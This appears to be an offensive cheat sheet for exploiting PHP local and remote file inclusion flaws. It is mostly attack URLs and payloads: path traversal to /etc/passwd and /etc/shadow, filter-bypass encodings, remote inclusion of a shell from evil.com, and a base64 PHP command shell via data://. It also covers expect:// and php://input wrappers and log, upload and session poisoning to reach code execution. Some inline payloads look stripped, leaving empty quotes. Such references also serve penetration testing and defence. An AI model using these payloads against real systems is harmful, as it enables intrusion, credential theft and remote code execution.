# Local/Remote File Inclusion The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. ## Summary * [Basic LFI](#basic-lfi) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [Wrapper php://filter](l#wrapper-phpfilter) * [Wrapper zip://](#wrapper-zip) * [Wrapper data://](#wrapper-data) * [Wrapper expect://](#wrapper-expect) * [Wrapper input://](#wrapper-input) * [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) * [LFI to RCE via upload](#lfi-to-rce-via-upload) * [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) Linux - Interesting files to check out : ```powershell /etc/issue /etc/passwd /etc/shadow /etc/group /etc/hosts /etc/motd /etc/mysql/my.cnf /proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor) /proc/self/environ /proc/version /proc/cmdline /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp ``` Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) ```powershell c:/boot.ini c:/inetpub/logs/logfiles c:/inetpub/wwwroot/global.asa c:/inetpub/wwwroot/index.asp c:/inetpub/wwwroot/web.config c:/sysprep.inf c:/sysprep.xml c:/sysprep/sysprep.inf c:/sysprep/sysprep.xml c:/system32/inetsrv/metabase.xml c:/sysprep.inf c:/sysprep.xml c:/sysprep/sysprep.inf c:/sysprep/sysprep.xml c:/system volume information/wpsettings.dat c:/system32/inetsrv/metabase.xml c:/unattend.txt c:/unattend.xml c:/unattended.txt c:/unattended.xml ``` The following log files are controllable and can be included with an evil payload to achieve a command execution ```powershell /var/log/apache/access.log /var/log/apache/error.log /var/log/httpd/error_log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail ``` ## Basic LFI ```powershell http://example.com/index.php?page=../../../etc/passwd ``` Null byte ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` Path truncation ```powershell http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd ``` Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` ### Wrapper zip:// ```python echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=php:expect://id http://example.com/index.php?page=php:expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters ```powershell http://example.com/index.php?page=php://input POST DATA: ``` ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via phpinfo() https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `` ```powershell login=1&user=&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## Thanks to * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)